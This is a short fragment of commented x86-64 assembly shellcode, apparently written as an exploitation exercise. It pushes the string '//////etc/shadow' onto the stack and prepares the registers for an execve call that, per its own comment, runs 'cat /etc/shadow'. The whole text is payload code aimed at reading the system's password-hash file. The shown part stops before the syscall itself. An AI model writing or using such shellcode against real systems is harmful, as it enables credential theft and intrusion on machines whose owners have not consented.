push rax ; Pushes RAX's NULL-DWORD.

mov rbp, 0x776f646168732f63 ; Moves value "wodahs/c" into RBP.
push rbp ; Pushes the vaueof RBP into the Stack.

mov rbp, 0x74652f2f2f2f2f2f ; Moves value "te//////" into RBP.
push rbp ; Pushes the vaue of RBP into the Stack.

mov rbp, rsp ; Copies the value of the Stack into RBP.
push rax ; Pushes RAX's NULL-DWORD.

mov rdi, rsp ; Copies the value of the Stack into RDI.
push rax ; Pushes RAX's NULL-DWORD.

mov rdx, rsp ; Copies the value of the Stack into RDX. As the previous DWORD was completely NULL, RDX is set to 0.

push rbp ; Pushes the vaue of RBP into the Stack.
push rbx ; Pushes the vaue of RBX into the Stack. The full string should be "cat /etc/shadow".
